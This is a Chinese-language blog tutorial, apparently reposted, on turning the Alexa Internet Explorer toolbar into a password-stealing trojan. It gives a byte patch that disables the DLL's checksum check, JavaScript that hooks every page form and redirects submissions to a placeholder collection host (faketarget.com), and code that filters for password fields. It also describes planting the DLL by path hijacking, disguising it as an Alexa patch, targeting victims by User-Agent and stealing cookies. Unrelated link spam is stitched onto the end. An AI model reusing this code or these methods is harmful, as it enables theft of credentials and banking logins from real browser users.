把Alexa工具条改装成木马

From:http://www.neeao.com/blog/article-4118.html

Alexa是一个发布全球网站排名信息的网站,他的网址是http://www.alexa.com。Alexa通过在客户端安装Alexa工具条来收集采样全球网站的访问数据,以这些数据为依据对全球网站进行排名,类似于电视收视率的统计。Alexa工具条是一种类似于Google工具条的IE插件,你可以在下面URL中下载:http://download.alexa.com/index.cgi。

一、Alexa工具条的工作原理

Alexa工具条是一种基于BHO和Toolbar Bands技术的一种IE插件。它以DLL文件的形式存在于系统中,是一种COM组件,IE会在运行时将其加载到自身进程中去,所以一般情况下防火墙是无法禁止该软件访问网络的,这就为他的木马角色提供了先天的便利,而且比本机Sniff软件收集密码的优势是:无论是HTTP还是HTTPS的网站,不管通信通道是否加密,只要是IE页面的表单都能收集到。具体原理可以参考《关于Alexa排名的一些解惑》(http: //www.donews.net/tabris17/archive/2004/09/20/104018.aspx)

系统在安装了Alexa工具条后,会在系统目录下生成AlxTB1.dll和AlxRes.dll两个DLL文件(有些情况下是 AlxTB2.dll,而不是AlxTB1.dll。那是因为Alexa工具条会自动上网更新的原因)。Alexa工具条的主要二进制代码存在于 AlxTB1.dll文件中,这个文件同时也被注册成多个COM组件,他完成了BHO和Toolbar Bands的COM接口,并将IE的WebBrowser控件封装为一个COM组件供AlxRes.dll调用。AlxRes.dll文件仅包含少量的二进制代码,大量的代码是HTML和JavaScript代码,他们以资源的形式存在于AlxRes.dll文件中,你可以通过res: //AlxRes.dll/CHTML/about.html这样的URL来访问这些资源。也许你会奇怪:又不是做网站,为什么软件的代码会是 JavaScript写的?这就是Alexa工具条垃圾的地方。Alexa工具条的主界面是由HTML+JAVASCRIPT实现的。这些 JAVASCRIPT代码通过调用AlxTB1.dll实现的COM接口来实现软件的全部功能。这样做不仅导致软件的效率低下,而且产生大量的资源泄漏,绝对是一种VERY超级SB的开发模式,但是却为我们修改Alexa工具条的功能提供了方便——根本不需要CRACKER知识,只要一个PE资源修改工具就可以对Alexa工具条的代码进行修改了。

二、破解Alexa工具条

当然,Alexa也不是真傻,绝对不会蠢到让自己的代码被你用资源修改工具随便改。为了防止AlxRes.dll中的资源被随意修改,他采取了计算文件校验和的保护方法,要是发现文件被修改,就会拒绝加载。我们在修改代码前,必须破解这种保护机制。

AlxTB1.dll导出一个名叫ChecksumResources的函数,这个函数就是用来计算文件校验和的。用c32asm反汇编 AlxRes.dll文件,查看字符串调用列表,找到"ChecksumResources"字符串,跳转到调用该字符串的代码,于100017C0处。往下翻几行,在100017F6处找到一句跳转,采用爆破方式,用NOP指令覆盖JNZ指令即可。通俗点讲:就是将AlxRes.dll文件偏移 "0x17F6"处的两个字节"75 11"改成"90 90",你可以使用WinHex之类的16进制编辑软件来修改。

::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources

::100017C5:: 57 PUSH EDI

::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress

::100017CC:: 85C0 TEST EAX, EAX

::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN

::100017D0:: 8D4D DC LEA ECX, [EBP-24]

::100017D3:: 51 PUSH ECX

::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]

::100017DA:: FFD0 CALL EAX

::100017DC:: 59 POP ECX

::100017DD:: 59 POP ECX

::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,

::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary

::100017E5:: 8D45 B8 LEA EAX, [EBP-48]

::100017E8:: 50 PUSH EAX

::100017E9:: 8D45 DC LEA EAX, [EBP-24]

::100017EC:: 50 PUSH EAX

::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN

::100017F2:: 59 POP ECX

::100017F3:: 85C0 TEST EAX, EAX

::100017F5:: 59 POP ECX

::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改这里

 现在我们可以毫无顾忌的修改AlxRes.dll中的资源了。可以参考《新版本的 Alexa Toolbar 破解方法》(http://www.donews.net/tabris17/archive/2004/10/18/137121.aspx)

三、修改Alexa工具条的代码

熟悉IE编程的人都知道,DWebBrowserEvents2接口是用来接收WebBrowser的事件通知的,我们可以在AlxRes.dll 的Javascript代码中找到这些些对应的函数。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的代码中,有一系列的 JAVASCRIPT函数,对应于DWebBrowserEvents2接口的成员,如:DocumentComplete-> BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete, BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接口,我们可以在 BeforeNavigate2中截获PostData,但是在AlxRes.dll的代码中,这个接口没有完全实现。在 DWebBrowserEvents2接口中的原型是:

void BeforeNavigate2(IDispatch *pDisp,

VARIANT *&url,

VARIANT *&Flags,

VARIANT *&TargetFrameName,

VARIANT *&PostData,

VARIANT *&Headers,

VARIANT_BOOL *&Cancel

);

这其中的PostData包含了的Post数据。而BP_onBeforeNavigate的函数原型:

function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);

其中,bPostData只是个BOOL类型的变量。此路不通,必须另想办法。

一般来说,我们在IE中输入的用户名密码都是通过表单提交到服务器的,如果能在表单提交前截获表单的内容就可以实现窃取密码了。在 JAVASCRIPT中,只要处理表单的"OnSubmit"事件,就可以先于提交而处理表单的内容。而AlxRes.dll的功能也是由 JAVASCRIPT实现的,所以我们就无需面对繁琐的COM接口,而直接使用JAVASCRIPT了。

这里我推荐使用Resource Hacker来修改AlexRes.dll中的资源,个人感觉比eXeScope用起来爽多了。

四、截获网页表单的内容

我现在使用的方法有些类似于"跨站点脚本执行漏洞"。先来看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函数:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);

该函数在IE的当前浏览页面被加载完成时被调用,其中的 oWebBrowser2 参数可以当作当前IE正在浏览的页面的window对象。如果你懂得JAVASCRIPT的话,接下来要做的事情就十分简单了。添加如下代码:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i

{

oWebBrowser2.document.forms[i].οnsubmit=test;

}

}catch(e){}

return false;

}

这段代码的作用就是枚举当前页面中所有的表单对象,并为这些表单定义OnSubmit事件。接下来就是完成test函数了:

function test()

{

try{

window.alert("I can get the value!");

for(i=0;i

{

if(this.elements[i].name!="")

{

window.alert(this.elements[i].name+":"+this.elements[i].value);

//do some thing

}

}

}catch(e){}

return true;

}

不过用这种方法存在一点弊端:当表单是通过JavaScript语句"Submit()"提交时,不会产生"OnSubmit"事件,上面的代码也就无法纪录下表单的内容了。可以采用改变表单提交地址的方法来解决这个问题:

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {

... ...

try{

for(i=0;i

{

oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"";

oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";

}

}catch(e){}

return false;

}

以上的代码对于某些页面存在问题,有时会无法将隐藏字段添加到表单中去。

五、散布和植入木马

以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以,只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"这两个路径下搜索AlxRes.dll,所以也可以把修改过的AlxRes.dll放到这两个路径下,这样就不用覆盖源文件了。至于怎么安装,那可是有一大堆的IE漏洞等着你去Exploit呢,这可不是本文涉及的范围。

安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar"的标记,所以很容易区分目标的IE是否已经安装了Alexa工具条:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

也可以修改Alexa的安装文件,或者以Alexa补丁的名义来发布,这个就扯远了。

六、收集密码

你可以用FileSystemObject控件来将表单内容纪录到文件,或者直接作为参数发送到某个Web服务器,由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单,最好在AlxRes.dll的代码中对收集的表单数据进行一些检查:

function test()

{

var IsPwdForm=false;

var FormStr;

try{

for(i=0;i

{

if(this.elements[i].name!="")

{

if(this.elements[i].type=="password")

IsPwdForm=true;

FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";

}

}

if(IsPwdForm)

{

//表单包含密码文本,进行收集

}

}catch(e){}

return true;

}

七、其他的应用

大多数的网上银行登陆界面是由ActiveX控件实现的,无法截获表单数据,但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览的页面,当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录,也可以用来窃取用户COOKIE等。

把Alexa工具条改装成木马相关推荐

  1. 完美解决ALEXA工具条无法显示或显示白框

    每次安装完alexa工具条就显示一个白框.跟别人的不一样!! ALEXA工具安装了好几次,打开IE的时候,总是只显示一个白框,没有正常的显示,一查才知道,是Windows XP SP2惹得祸,网上有人 ...

  2. 教你一招:全面认识浏览器工具条

      一. 什么是工具条 工具条(英文名称为Toolbar),又名工具栏.工具条是什么?在Google的定义搜索结果中,有17种定义.根据微软的官方定义,工具条是由一组工具条按钮或其他功能控件组成的一个 ...

  3. 苹果工具条_苹果承认错误:个人热点“断连” !iOS13.4或成救命稻草!

    果师兄科技资讯:iOS13系统相比iOS12做了很大的改动,更新后因为存在系统不稳定.APP闪退等问题,让不少果粉大呼:翻车.从iOS13.2开始就有网友反馈出现了个人热点问题,开启热点后无法连接或连 ...

  4. 百度搜霸工具条出现下载任意文件执行漏洞 含攻击代码

    来源:http://seclists.org 百度搜霸工具条出现高危漏洞,访问恶意网页,会下载木马执行,最新版本的工具条也受漏洞影响.百度搜霸的C:/Program Files/baidubar/Ba ...

  5. 对《将原装NOKIA耳机HS-23改装成3.5口》的补充

    看了<将原装NOKIA耳机HS-23改装成3.5口>后确定把自己的HS-23也改装一下.按照帖子的说明,很顺利就把HS-23拆开了.但当我把一根NOKIA音频转接线的3.5口的那部份剪下来 ...

  6. 手把手教你把Vim改装成一个IDE编程环境(图文)

    手把手教你把Vim改装成一个IDE编程环境(图文) By: 吴垠 Date: 2007-09-07 Version: 0.5 Email: lazy.fox.wu#gmail.com Homepage ...

  7. 13_MFC工具条和状态栏

    MFC工具条和状态栏 Windows控制窗口 Windows (Windows95或者以上版本) 提供了系列通用控制窗口,其中包括工具条(ToolBar).状态栏(StatusBar).工具条提示窗口 ...

  8. VC6中工具条的新特色

      加入时间:01-1-8 下午 09:10:32 在Visual C++ 版本6中工具条的新特色 作者: Dave Schmitt 微软在www.microsoft.com/visualc已经推出V ...

  9. 电视看板实现原理_电脑显示器如何改装成电视机?详细改装方法,修电脑师傅告诉你...

    大家好,我是老王.我们每个人家里几乎都有台式电脑,现在是手机时代,不用电脑办公的朋友,很少开电脑了.家里的电脑都落了厚厚一层灰,我们还舍不得把旧电脑扔掉,那么就有人想到一个问题,那就是能不能把旧电脑的 ...

  10. 功能区不显示工具条_【新老客户必知】软件支持超高清屏显示器了

    随着计算机硬件的不断更新换代 显示设备的不断更新 从原来的分辨率640 X 480 啥原来分辨这么低呀? 还记得DOS吗? 或者Win95,win98吗 当时显示器分辨率能调到800X 600很好了 ...

最新文章

  1. 网络空间安全之信息追踪——学习笔记 利用门户网站,综合信息追踪
  2. 竞品分析实战系列之如何对电商产品条目进行合理设计?
  3. Android开源框架——图片加载库Glide
  4. 京东扳回一城,拼多多该小心了?
  5. 【Python基础入门系列】第02天:Python 基础语法
  6. (需求实战_02)_ftp连接下载指定.zip类型文件
  7. jQuery.grep()
  8. 关闭Windows 10系统更新以及查看电脑机型
  9. 【资产管理】2020年海外头部资管机构经营特点及启示
  10. 虚拟机VMware安装Windows7保姆级教程
  11. Mac软件推荐:Soulver原来这么好用
  12. 社交网络的发展及趋势
  13. 住建部《城市信息模型(CIM)基础平台技术标准》正式发布,6月1日起实施
  14. oracle imdp导入dmp,impdp导入dmp文件
  15. C#【必备技能篇】两个程序(进程间)通信,传递消息给其它窗口
  16. 完全平方数(c++基础)
  17. 阿里云ECS服务器可以干嘛,企业和个人改如何选择服务器?
  18. 计算机强制关机原理,解决PC常见问题 篇十六:究竟如何关机才是正确的姿势---关于“按电源键强制关机对硬件无危害”的...
  19. Jquery排他思想实现
  20. HandBrake for Mac(专业的视频转码器)

热门文章

  1. 各纬度气候分布图_气候分布图有纬度
  2. win7 虚拟机安装
  3. Latex符号对照表
  4. 计算机专业专科毕业设计题目,专科生计算机专业论文题目大全 专科生计算机专业论文题目哪个好...
  5. xtwpro2编程器_zadig v2.4编程软件下载|XTW100编程器软件(附USB驱动) - 驱动无忧
  6. python+selenium 处理alert弹出框
  7. Win10华硕atk驱动怎么安装_【打印机安装】WIN10打印机【驱动下载】和【安装方法】...
  8. Python数据分析之简书七日热门数据分析
  9. 计算机主机和音箱之间的接口电路是(),《多媒体技术及应用》按章复习题
  10. 【学习笔记】matlab进行数字信号处理(一)生成信号及信号的时域频域分析